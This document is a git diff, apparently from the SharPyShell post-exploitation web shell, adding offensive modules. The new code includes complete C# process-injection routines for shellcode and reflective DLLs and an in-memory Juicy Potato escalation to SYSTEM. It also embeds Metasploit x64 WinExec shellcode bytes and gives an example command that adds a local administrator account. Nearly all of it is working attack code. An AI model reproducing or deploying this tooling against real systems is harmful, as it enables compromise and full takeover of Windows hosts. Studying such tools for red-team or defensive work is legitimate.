diff --git a/core/config.py b/core/config.py index 1b36bcd..b7a624c 100644 --- a/core/config.py +++ b/core/config.py @@ -1,7 +1,7 @@ import sys import os -sharpyshell_version='1.0' +sharpyshell_version='1.1.0' header = '#SharPyShell v' + sharpyshell_version + ' - @splinter_code' banner = """ diff --git a/modules/inject_dll_reflective.py b/modules/inject_dll_reflective.py new file mode 100644 index 0000000..0752726 --- /dev/null +++ b/modules/inject_dll_reflective.py @@ -0,0 +1,62 @@ +from core.Module import ModuleException +from modules.inject_shellcode import Inject_shellcode +from core import config +import pefile + + +class InjectDllReflectiveModuleException(ModuleException): + pass + + +class Inject_dll_reflective(Inject_shellcode): + _exception_class = InjectDllReflectiveModuleException + short_help = "Inject a reflective DLL in a new (or existing) process" + complete_help = r""" + Author: @stephenfewer + Links: https://github.com/stephenfewer/ReflectiveDLLInjection + + + Inject a reflective DLL into a remote process + + + Usage: + #inject_shellcode dll_path [injection_type] [remote_process] + + Positional arguments: + dll_path name of a .dll module in the 'reflective_dll/' directory + the DLL must contain a ReflectiveLoader exported function + injection_type the process injection method to use for injecting shellcode + Allowed values: 'remote_virtual', 'remote_virtual_protect' + Default: 'remote_virtual' + remote_process path to an executable to spawn as a host process for the shellcode + if you pass a pid it will try to inject into an existing running process + Default: 'cmd.exe' + + Examples: + + + """ + + def __get_reflective_loader_offset(self, dll_path): + pe_parser = pefile.PE(dll_path) + for exported_function in pe_parser.DIRECTORY_ENTRY_EXPORT.symbols: + if 'ReflectiveLoader' in exported_function.name: + reflective_loader_rva = exported_function.address + return hex(pe_parser.get_offset_from_rva(reflective_loader_rva)) + raise self._exception_class('The DLL does not contain a reflective loader function.\n') + + def _create_request(self, args): + dll_path, injection_type, remote_process,\ + thread_timeout, thread_parameters, code_offset = self._parse_run_args(args) + dll_path = config.modules_paths + 'reflective_dll/' + dll_path + code_offset = str(self.__get_reflective_loader_offset(dll_path)) + with open(dll_path, 'rb') as file_handle: + byte_arr = bytearray(file_handle.read()) + byte_arr_code = '{' + ",".join('0x{:02x}'.format(x) for x in byte_arr) + '}' + byte_arr_code_csharp = self._template_shellcode_csharp % byte_arr_code + if injection_type == 'remote_virtual_protect': + return self._runtime_code_virtual_protect % (byte_arr_code_csharp, thread_parameters, remote_process, + thread_timeout, code_offset) + else: + return self._runtime_code % (byte_arr_code_csharp, thread_parameters, remote_process, + thread_timeout, code_offset) \ No newline at end of file diff --git a/modules/inject_shellcode.py b/modules/inject_shellcode.py new file mode 100644 index 0000000..8270f28 --- /dev/null +++ b/modules/inject_shellcode.py @@ -0,0 +1,368 @@ +from core.Module import Module, ModuleException + + +class InjectShellcodeModuleException(ModuleException): + pass + + +class Inject_shellcode(Module): + _exception_class = InjectShellcodeModuleException + short_help = "Inject shellcode in a new (or existing) process" + complete_help = r""" + This module allow to inject your shellcode in a host process. + You can decide if inject into an existing process or if spawn a new process as a host process for the code. + You should create the payload for the shellcode from msfvenom with the flag --format csharp. + You can use one of the following supported injection technique: + - remove_virtual: classic injection: + VirtualAllocEx (RWX) -> WriteProcessMemory -> CreateRemoteThread + - remote_protect: with this technique you never allocate RWX memory: + VirtualAllocEx(RW) -> WriteProcessMemory -> VirtualProtect(RX) -> CreateRemoteThread + + Usage: + #inject_shellcode shellcode_path [injection_type] [remote_process] + + Positional arguments: + shellcode_path path to a file containing shellcode in csharp format (msfvenom --format csharp) + it can also be a bytearray string, i.e. '{0x90,0x90,0x90,0x90}' + injection_type the process injection method to use for injecting shellcode + Allowed values: 'remote_virtual', 'remote_virtual_protect' + Default: 'remote_virtual' + remote_process path to an executable to spawn as a host process for the DLL code + if you pass a pid it will try to inject into an existing running process + Default: 'cmd.exe' + + Examples: + + + """ + + _runtime_code = ur""" + using System;using System.IO;using System.Diagnostics;using System.Text; + using System.Runtime.InteropServices; + + public class SharPyShell + { + [DllImport("kernel32.dll", SetLastError = true)] + static extern IntPtr OpenProcess(int dwDesiredAccess, bool bInheritHandle, int dwProcessId); + + [DllImport("kernel32.dll", SetLastError = true)] + static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect); + + [DllImport("kernel32.dll", SetLastError = true)] + static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, uint nSize, out uint lpNumberOfBytesWritten); + + [DllImport("kernel32.dll", SetLastError = true)] + static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId); + + [DllImport("kernel32.dll", SetLastError=true)] + static extern uint WaitForSingleObject(IntPtr hHandle, uint dwMilliseconds); + + const int PROCESS_CREATE_THREAD = 0x0002; + const int PROCESS_QUERY_INFORMATION = 0x0400; + const int PROCESS_VM_OPERATION = 0x0008; + const int PROCESS_VM_WRITE = 0x0020; + const int PROCESS_VM_READ = 0x0010; + + const uint MEM_COMMIT = 0x00001000; + const uint MEM_RESERVE = 0x00002000; + const uint PAGE_READWRITE = 0x04; + const uint PAGE_EXECUTE_READWRITE = 0x40; + + const uint WAIT_OBJECT_0 = 0x00000000; + + public string InjectShellcode(byte[] byteArrayCode, byte[] threadParameters, string process, uint threadTimeout, ulong offset) + { + string output = ""; + string error_string = "\n\n\t{{{SharPyShellError}}}"; + int processId=0; + Process targetProcess = new Process(); + try + { + if(!Int32.TryParse(process, out processId)){ + targetProcess = Process.Start(process); + processId = targetProcess.Id; + output += "\n\n\tStarted process " + process + " with pid " + processId.ToString(); + } + else{ + targetProcess = Process.GetProcessById(processId); + output += "\n\n\tTrying to open running process with pid " + processId.ToString(); + } + string processName = targetProcess.ProcessName; + string targetProcessPid = processId.ToString(); + IntPtr targetProcessHandle = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, false, processId); + if(targetProcessHandle == (IntPtr)0){ + output += error_string + "\n\tOpenProcess on pid " + targetProcessPid + " failed with error code " + Marshal.GetLastWin32Error(); + return output; + } + output += "\n\n\tCorreclty opened a handle on process with pid " + targetProcessPid; + uint codeMemorySize = (uint)(byteArrayCode.Length * Marshal.SizeOf(typeof(byte)) + 1); + IntPtr codeMemAddress = VirtualAllocEx(targetProcessHandle, IntPtr.Zero, codeMemorySize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); + if(codeMemAddress == (IntPtr)0){ + output += error_string + "\n\tError allocating code buffer memory.\n\tVirtualAllocEx failed with error code " + Marshal.GetLastWin32Error(); + return output; + } + uint bytesWrittenCode; + output += "\n\n\tAllocated memory RWX for code of " + codeMemorySize.ToString() + " bytes"; + if(!WriteProcessMemory(targetProcessHandle, codeMemAddress, byteArrayCode, codeMemorySize, out bytesWrittenCode)){ + output += error_string + "\n\tError writing code buffer in memory.\n\tWriteProcessMemory failed with error code " + Marshal.GetLastWin32Error(); + return output; + } + output += "\n\n\tCode written into remote process. Bytes written: " + bytesWrittenCode.ToString(); + + codeMemAddress = (IntPtr)((ulong)codeMemAddress + (ulong)offset); + + IntPtr injectedThreadHandle = (IntPtr)0; + if(threadParameters.Length > 0){ + output += "\n\n\tThread parameters detected. Starting to allocate memory RWX ..."; + uint threadParametersSize = (uint)(threadParameters.Length * Marshal.SizeOf(typeof(byte)) + 1); + IntPtr threadParametersMemAddress = VirtualAllocEx(targetProcessHandle, IntPtr.Zero, threadParametersSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); + if(threadParametersMemAddress == (IntPtr)0){ + output += error_string + "\n\tError allocating thread parameters buffer memory.\n\tVirtualAllocEx failed with error code " + Marshal.GetLastWin32Error(); + return output; + } + uint bytesWrittenThreadParams; + output += "\n\n\tAllocated memory RWX for thread parameters of " + threadParametersSize.ToString() + " bytes"; + if(!WriteProcessMemory(targetProcessHandle, threadParametersMemAddress, threadParameters, threadParametersSize, out bytesWrittenThreadParams)){ + output += error_string + "\n\tError writing code buffer in memory.\n\tWriteProcessMemory failed with error code " + Marshal.GetLastWin32Error(); + return output; + } + output += "\n\n\tThread parameters written into remote process. Bytes written: " + bytesWrittenThreadParams.ToString(); + injectedThreadHandle = CreateRemoteThread(targetProcessHandle, IntPtr.Zero, 0, codeMemAddress, threadParametersMemAddress, 0, IntPtr.Zero); + } + else{ + injectedThreadHandle = CreateRemoteThread(targetProcessHandle, IntPtr.Zero, 0, codeMemAddress, IntPtr.Zero, 0, IntPtr.Zero); + } + if(injectedThreadHandle == (IntPtr)0){ + output += error_string + "\n\tError injecting thread into remote process memory.\n\tCreateRemoteThread failed with error code " + Marshal.GetLastWin32Error(); + return output; + } + output += "\n\n\tRemote Thread started!"; + if(threadTimeout>0){ + uint wait_for = WaitForSingleObject(injectedThreadHandle, threadTimeout); + if(wait_for == WAIT_OBJECT_0){ + output += "\n\n\tCode executed and exited correctly"; + try{ + Process.GetProcessById(processId); + targetProcess.Kill(); + output += "\n\n\tProcess " + processName + " with pid " + targetProcessPid + " has been killed"; + } + catch{ + output += "\n\n\tProcess " + processName + " with pid " + targetProcessPid + " has exited"; + } + } + else{ + output += "\n\n\tRemote Thread Timed Out"; + } + } + else{ + output += "\n\n\tCode executed left in background as an async thread in the process " + processName + " with pid " + targetProcessPid; + } + } + catch (Exception ex) + { + output += error_string + "\n\tException occurred. " + ex.Message; + return output; + } + return output + "\n\n"; + } + + public byte[] ExecRuntime() + { + %s + byte[] threadParameters = %s; + string output_func=InjectShellcode(buf, threadParameters, @"%s", %s, %s); + byte[] output_func_byte=Encoding.UTF8.GetBytes(output_func); + return(output_func_byte); + } + } + """ + + _runtime_code_virtual_protect = ur""" + using System;using System.IO;using System.Diagnostics;using System.Text; + using System.Runtime.InteropServices; + + public class SharPyShell + { + [DllImport("kernel32.dll", SetLastError = true)] + static extern IntPtr OpenProcess(int dwDesiredAccess, bool bInheritHandle, int dwProcessId); + + [DllImport("kernel32.dll", SetLastError = true)] + static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect); + + [DllImport("kernel32.dll", SetLastError = true)] + static extern bool VirtualProtectEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flNewProtect, out uint lpflOldProtect); + + [DllImport("kernel32.dll", SetLastError = true)] + static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, uint nSize, out uint lpNumberOfBytesWritten); + + [DllImport("kernel32.dll", SetLastError = true)] + static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId); + + [DllImport("kernel32.dll", SetLastError=true)] + static extern uint WaitForSingleObject(IntPtr hHandle, uint dwMilliseconds); + + const int PROCESS_CREATE_THREAD = 0x0002; + const int PROCESS_QUERY_INFORMATION = 0x0400; + const int PROCESS_VM_OPERATION = 0x0008; + const int PROCESS_VM_WRITE = 0x0020; + const int PROCESS_VM_READ = 0x0010; + + const uint MEM_COMMIT = 0x00001000; + const uint MEM_RESERVE = 0x00002000; + const uint PAGE_READWRITE = 0x04; + const uint PAGE_EXECUTE_READ = 0x20; + + const uint WAIT_OBJECT_0 = 0x00000000; + + public string InjectShellcode(byte[] byteArrayCode, byte[] threadParameters, string process, uint threadTimeout, ulong offset) + { + string output = ""; + string error_string = "\n\n\t{{{SharPyShellError}}}"; + int processId=0; + Process targetProcess = new Process(); + try + { + if(!Int32.TryParse(process, out processId)){ + targetProcess = Process.Start(process); + processId = targetProcess.Id; + output += "\n\n\tStarted process " + process + " with pid " + processId.ToString(); + } + else{ + targetProcess = Process.GetProcessById(processId); + output += "\n\n\tTrying to open running process with pid " + processId.ToString(); + } + string processName = targetProcess.ProcessName; + string targetProcessPid = processId.ToString(); + IntPtr targetProcessHandle = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, false, processId); + if(targetProcessHandle == (IntPtr)0){ + output += error_string + "\n\tOpenProcess on pid " + targetProcessPid + " failed with error code " + Marshal.GetLastWin32Error(); + return output; + } + output += "\n\n\tCorreclty opened a handle on process with pid " + targetProcessPid; + uint codeMemorySize = (uint)(byteArrayCode.Length * Marshal.SizeOf(typeof(byte)) + 1); + IntPtr codeMemAddress = VirtualAllocEx(targetProcessHandle, IntPtr.Zero, codeMemorySize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); + if(codeMemAddress == (IntPtr)0){ + output += error_string + "\n\tError allocating code buffer memory.\n\tVirtualAllocEx failed with error code " + Marshal.GetLastWin32Error(); + return output; + } + uint bytesWrittenCode; + output += "\n\n\tAllocated memory RW for code of " + codeMemorySize.ToString() + " bytes"; + if(!WriteProcessMemory(targetProcessHandle, codeMemAddress, byteArrayCode, codeMemorySize, out bytesWrittenCode)){ + output += error_string + "\n\tError writing code buffer in memory.\n\tWriteProcessMemory failed with error code " + Marshal.GetLastWin32Error(); + return output; + } + output += "\n\n\tCode written into remote process. Bytes written: " + bytesWrittenCode.ToString(); + + uint codeMemSize = (uint)(byteArrayCode.Length * Marshal.SizeOf(typeof(byte)) + 1); + uint lpflOldProtect; + if(!VirtualProtectEx(targetProcessHandle, codeMemAddress, codeMemSize, PAGE_EXECUTE_READ, out lpflOldProtect)){ + output += error_string + "\n\tError in changing memory from RW to RX.\n\tVirtualProtectEx failed with error code " + Marshal.GetLastWin32Error(); + return output; + } + output += "\n\n\tChanged allocated memory for code from RW to RX"; + + codeMemAddress = (IntPtr)((ulong)codeMemAddress + (ulong)offset); + + IntPtr injectedThreadHandle = (IntPtr)0; + if(threadParameters.Length > 0){ + output += "\n\n\tThread parameters detected. Starting to allocate memory RW ..."; + uint threadParametersSize = (uint)(threadParameters.Length * Marshal.SizeOf(typeof(byte)) + 1); + IntPtr threadParametersMemAddress = VirtualAllocEx(targetProcessHandle, IntPtr.Zero, threadParametersSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); + if(threadParametersMemAddress == (IntPtr)0){ + output += error_string + "\n\tError allocating thread parameters buffer memory.\n\tVirtualAllocEx failed with error code " + Marshal.GetLastWin32Error(); + return output; + } + uint bytesWrittenThreadParams; + output += "\n\n\tAllocated memory RW for thread parameters of " + threadParametersSize.ToString() + " bytes"; + if(!WriteProcessMemory(targetProcessHandle, threadParametersMemAddress, threadParameters, threadParametersSize, out bytesWrittenThreadParams)){ + output += error_string + "\n\tError writing code buffer in memory.\n\tWriteProcessMemory failed with error code " + Marshal.GetLastWin32Error(); + return output; + } + output += "\n\n\tThread parameters written into remote process. Bytes written: " + bytesWrittenThreadParams.ToString(); + injectedThreadHandle = CreateRemoteThread(targetProcessHandle, IntPtr.Zero, 0, codeMemAddress, threadParametersMemAddress, 0, IntPtr.Zero); + } + else{ + injectedThreadHandle = CreateRemoteThread(targetProcessHandle, IntPtr.Zero, 0, codeMemAddress, IntPtr.Zero, 0, IntPtr.Zero); + } + if(injectedThreadHandle == (IntPtr)0){ + output += error_string + "\n\tError injecting thread into remote process memory.\n\tCreateRemoteThread failed with error code " + Marshal.GetLastWin32Error(); + return output; + } + output += "\n\n\tRemote Thread started!"; + if(threadTimeout>0){ + uint wait_for = WaitForSingleObject(injectedThreadHandle, threadTimeout); + if(wait_for == WAIT_OBJECT_0){ + output += "\n\n\tCode executed and exited correctly"; + try{ + Process.GetProcessById(processId); + targetProcess.Kill(); + output += "\n\n\tProcess " + processName + " with pid " + targetProcessPid + " has been killed"; + } + catch{ + output += "\n\n\tProcess " + processName + " with pid " + targetProcessPid + " has exited"; + } + } + else{ + output += "\n\n\tRemote Thread Timed Out"; + } + } + else{ + output += "\n\n\tCode executed left in background as an async thread in the process " + processName + " with pid " + targetProcessPid; + } + } + catch (Exception ex) + { + output += error_string + "\n\tException occurred. " + ex.Message; + return output; + } + return output + "\n\n"; + } + + public byte[] ExecRuntime() + { + %s + byte[] threadParameters = %s; + string output_func=InjectShellcode(buf, threadParameters, @"%s", %s, %s); + byte[] output_func_byte=Encoding.UTF8.GetBytes(output_func); + return(output_func_byte); + } + } + """ + + _default_injection_type = 'remote_virtual' + _default_remote_process = 'cmd.exe' + _default_thread_timeout = '0' + _default_thread_parameters = '{}' + _default_code_offset = '0' + + _template_shellcode_csharp = 'byte[] buf = new byte[] %s;' + + def _parse_run_args(self, args): + if len(args) < 1: + raise self._exception_class('#inject_shellcode: Not enough arguments. 1 Argument required.\n') + args_parser = {k: v for k, v in enumerate(args)} + shellcode_path = args_parser.get(0) + injection_type = args_parser.get(1, self._default_injection_type) + remote_process = args_parser.get(2, self._default_remote_process) + thread_timeout = args_parser.get(3, self._default_thread_timeout) + thread_parameters = args_parser.get(4, self._default_thread_parameters) + code_offset = args_parser.get(5, self._default_code_offset) + return shellcode_path, injection_type, remote_process, thread_timeout,thread_parameters, code_offset + + def _create_request(self, args): + shellcode_path, injection_type, remote_process,\ + thread_timeout, thread_parameters, code_offset = self._parse_run_args(args) + if all(shellcode_char in shellcode_path for shellcode_char in ['{', '0x', ',', '}']): + shellcode_bytes_code = self._template_shellcode_csharp % shellcode_path + else: + with open(shellcode_path, 'r') as file_handle: + shellcode_bytes_code = file_handle.read() + if injection_type == 'remote_virtual_protect': + return self._runtime_code_virtual_protect % (shellcode_bytes_code, thread_parameters, remote_process, + thread_timeout, code_offset) + else: + return self._runtime_code % (shellcode_bytes_code, thread_parameters, remote_process, + thread_timeout, code_offset) + + + diff --git a/modules/privesc_juicy_potato.py b/modules/privesc_juicy_potato.py index 3d76345..20f19d1 100644 --- a/modules/privesc_juicy_potato.py +++ b/modules/privesc_juicy_potato.py @@ -2,7 +2,9 @@ from core.Module import Module, ModuleException from core import config from modules.upload import Upload from modules.exec_cmd import Exec_cmd +from modules.inject_dll_reflective import Inject_dll_reflective from utils.random_string import random_generator +from utils import shellcode import random import traceback @@ -13,8 +15,13 @@ class PrivescJuicyPotatoModuleException(ModuleException): class Privesc_juicy_potato(Module): _exception_class = PrivescJuicyPotatoModuleException - short_help = r"Launch Juicy Potato attack trying to impersonate NT AUTHORITY\SYSTEM" + short_help = r"Launch InMem Juicy Potato attack trying to impersonate NT AUTHORITY\SYSTEM" complete_help = r""" + Authors: @decoder @ohpe @phra @lupman + Links: https://github.com/ohpe/juicy-potato + https://github.com/phra/metasploit-framework/blob/e69d509bdf5c955e673be44b8d87b915272836d9/modules/exploits/windows/local/ms16_075_reflection_juicy.rb + + Juicy Potato is a Local Privilege Escalation tool that allows to escalate privileges from a Windows Service Accounts to NT AUTHORITY\SYSTEM. This permits to run an os command as the most privileged user 'NT AUTHORITY\SYSTEM'. @@ -24,32 +31,37 @@ class Privesc_juicy_potato(Module): This vulnerability is no longer exploitable with Windows Server 2019: https://decoder.cloud/2018/10/29/no-more-rotten-juicy-potato/ - Source Code: - https://github.com/ohpe/juicy-potato - + Usage: - #privesc_juicy_potato cmd [custom_args] + #privesc_juicy_potato cmd [exec_type] [clsid] [custom_shellcode_path] Positional arguments: - cmd command supported by cmd.exe - custom_args command line parameters to be passed to juicy potato binary - Default: ' -t * -l ' + str(random.randint(10000, 65000)) + ' -p ' + cmd command supported by cmd.exe + exec_type Type of execution of juicy potato, values can be: + - 'reflective_dll' + - 'exe' + Default: 'reflective_dll' + clsid target CLSID to reflect + Default: '{4991d34b-80a1-4291-83b6-3328366b9097}' (BITS) + custom_shellcode_path path to a file containing shellcode (format raw) + if set, this module will ignore 'cmd' argument + Default: 'default' Examples: Add a new local admin: - #privesc_juicy_potato 'net user /add admin_test JuicyAdmin_1 & net localgroup Administrators admin_test /add' + #privesc_juicy_potato 'net user /add admin_test JuicyAdmin_1_2_3! /Y & net localgroup Administrators admin_test /add' """ _runtime_code = ur""" using System;using System.IO;using System.Diagnostics;using System.Text; public class SharPyShell { - string ExecCmd(string exe_path, string custom_args, string cmd, string working_path) + string ExecCmd(string exe_path, string arguments, string cmd, string working_path) { string cmd_path = Environment.GetEnvironmentVariable("ComSpec"); ProcessStartInfo pinfo = new ProcessStartInfo(); pinfo.FileName = exe_path; - pinfo.Arguments = custom_args + " " + cmd_path + " -a \" " + cmd_path + " /c " + cmd + "\""; + pinfo.Arguments = arguments + " " + cmd_path + " -a \" " + cmd_path + " /c " + cmd + "\""; pinfo.RedirectStandardOutput = true; pinfo.RedirectStandardError = true; pinfo.UseShellExecute = false; @@ -84,20 +96,29 @@ class Privesc_juicy_potato(Module): } """ - __default_custom_args = ' -t * -l ' + str(random.randint(10000, 65000)) + ' -p ' + __default_exec_type = 'reflective_dll' + __default_clsid = '{4991d34b-80a1-4291-83b6-3328366b9097}' + __default_custom_shellcode_path = 'default' def __init__(self, password, channel_enc_mode, module_settings, request_object): Module.__init__(self, password, channel_enc_mode, module_settings, request_object) self.upload_module_object = Upload(password, channel_enc_mode, module_settings, request_object) self.exec_cmd_module_object = Exec_cmd(password, channel_enc_mode, module_settings, request_object) + self.inject_dll_reflective_module_object = Inject_dll_reflective(password, channel_enc_mode, + module_settings, request_object) def __parse_run_args(self, args): if len(args) < 1: raise self._exception_class('#privesc_juicy_potato : Not enough arguments.1 Argument required. \n') args_parser = {k: v for k, v in enumerate(args)} cmd = args_parser.get(0) - custom_args = args_parser.get(1, self.__default_custom_args) - return cmd, custom_args + exec_type = args_parser.get(1, self.__default_exec_type) + self.__random_listening_port = str(random.randint(10000, 65000)) + clsid = args_parser.get(2, self.__default_clsid) + arguments = ' -t * -l %s -c %s -p ' + arguments = arguments % (self.__random_listening_port, clsid) + custom_shellcode_path = args_parser.get(3, self.__default_custom_shellcode_path ) + return cmd, exec_type, arguments, custom_shellcode_path, clsid def __lookup_binary(self): if 'JuicyPotato.exe' in self._module_settings.keys(): @@ -112,21 +133,63 @@ class Privesc_juicy_potato(Module): bin_path = remote_upload_path return bin_path - def _create_request(self, args): - exe_path, custom_args, cmd = args + def __run_exe_version(self, cmd, arguments): + exe_path = self.__lookup_binary() working_path = self._module_settings['working_directory'] - return self._runtime_code % (exe_path, custom_args, cmd, working_path) + request = self._runtime_code % (exe_path, arguments, cmd, working_path) + encrypted_request = self._encrypt_request(request) + encrypted_response = self._post_request(encrypted_request) + decrypted_response = self._decrypt_response(encrypted_response) + parsed_response = self._parse_response(decrypted_response) + return parsed_response + + def __run_reflective_dll_version(self, cmd, custom_shellcode_path, logfile, clsid): + LogFile = logfile + remote_process = 'notepad.exe' + CLSID = clsid + ListeningPort = self.__random_listening_port + RpcServerHost = '127.0.0.1' + RpcServerPort = '135' + ListeningAddress = '127.0.0.1' + if custom_shellcode_path == 'default': + shellcode_bytes = shellcode.winexec_x64 + 'cmd /c "' + cmd + '"\00' + thread_timeout = '60000' + else: + thread_timeout = '0' + with open(custom_shellcode_path, 'rb') as file_handle: + shellcode_bytes = file_handle.read() + configuration = LogFile + '\00' + configuration += remote_process + '\00' + configuration += CLSID + '\00' + configuration += ListeningPort + '\00' + configuration += RpcServerHost + '\00' + configuration += RpcServerPort + '\00' + configuration += ListeningAddress + '\00' + configuration += str(len(shellcode_bytes)) + '\00' + configuration += shellcode_bytes + configuration_bytes_csharp = '{' + ",".join('0x{:02x}'.format(x) for x in bytearray(configuration)) + '}' + response = self.inject_dll_reflective_module_object.run(['juicypotato_reflective.dll', 'remote_virtual', + 'cmd.exe', thread_timeout, configuration_bytes_csharp]) + parsed_response = self._parse_response(response) + return parsed_response + + def _create_request(self, args): + exe_path, arguments, cmd = args + working_path = self._module_settings['working_directory'] + return self._runtime_code % (exe_path, arguments, cmd, working_path) def run(self, args): try: - cmd, custom_args = self.__parse_run_args(args) - upload_path = self.__lookup_binary() - request = self._create_request([upload_path, custom_args, cmd]) - encrypted_request = self._encrypt_request(request) - encrypted_response = self._post_request(encrypted_request) - decrypted_response = self._decrypt_response(encrypted_response) - parsed_response = self._parse_response(decrypted_response) - parsed_response = '\n\n\nModule executed correctly:\n' + parsed_response + cmd, exec_type, arguments, custom_shellcode_path, clsid = self.__parse_run_args(args) + if exec_type == 'exe': + response = self.__run_exe_version(cmd, arguments) + else: + logfile = self._module_settings['env_directory'] + '\\' + random_generator() + print '\n\nInjecting Reflective DLL into remote process...' + print self.__run_reflective_dll_version(cmd, custom_shellcode_path, logfile, clsid) + print 'Reflective DLL injection executed!\n\n\nOutput of juicy potato:\n\n' + response = self.exec_cmd_module_object.run(['type ' + logfile + ' & del /f /q ' + logfile]) + parsed_response = self._parse_response(response) except ModuleException as module_exc: parsed_response = str(module_exc) except Exception: diff --git a/modules/reflective_dll/juicypotato_reflective.dll b/modules/reflective_dll/juicypotato_reflective.dll new file mode 100644 index 0000000..3ce2789 Binary files /dev/null and b/modules/reflective_dll/juicypotato_reflective.dll differ diff --git a/requirements.txt b/requirements.txt index 3494296..c7080c5 100644 --- a/requirements.txt +++ b/requirements.txt @@ -1,5 +1,6 @@ urllib3 urllib3[socks] -prettytable Crypto -pyopenssl \ No newline at end of file +pyopenssl +pefile +prettytable \ No newline at end of file diff --git a/utils/shellcode.py b/utils/shellcode.py new file mode 100644 index 0000000..f97e445 --- /dev/null +++ b/utils/shellcode.py @@ -0,0 +1,33 @@ +''' +https://github.com/rapid7/metasploit-framework/blob/master/modules/payloads/singles/windows/x64/exec.rb + +'Name' => 'Windows x64 Execute Command', +'Description' => 'Execute an arbitrary command (Windows x64)', +'Author' => [ 'sf' ], +'License' => MSF_LICENSE, +'Platform' => 'win', +'Arch' => ARCH_X64, +'Payload' => +''' +winexec_x64 = "" +winexec_x64 += "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41" +winexec_x64 += "\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48" +winexec_x64 += "\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f" +winexec_x64 += "\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c" +winexec_x64 += "\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52" +winexec_x64 += "\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x8b" +winexec_x64 += "\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0" +winexec_x64 += "\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56" +winexec_x64 += "\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9" +winexec_x64 += "\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0" +winexec_x64 += "\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58" +winexec_x64 += "\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44" +winexec_x64 += "\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0" +winexec_x64 += "\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a" +winexec_x64 += "\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48" +winexec_x64 += "\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00" +winexec_x64 += "\x00\x00\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41" +winexec_x64 += "\xba\x31\x8b\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41" +winexec_x64 += "\xba\xa6\x95\xbd\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06" +winexec_x64 += "\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a" +winexec_x64 += "\x00\x59\x41\x89\xda\xff\xd5"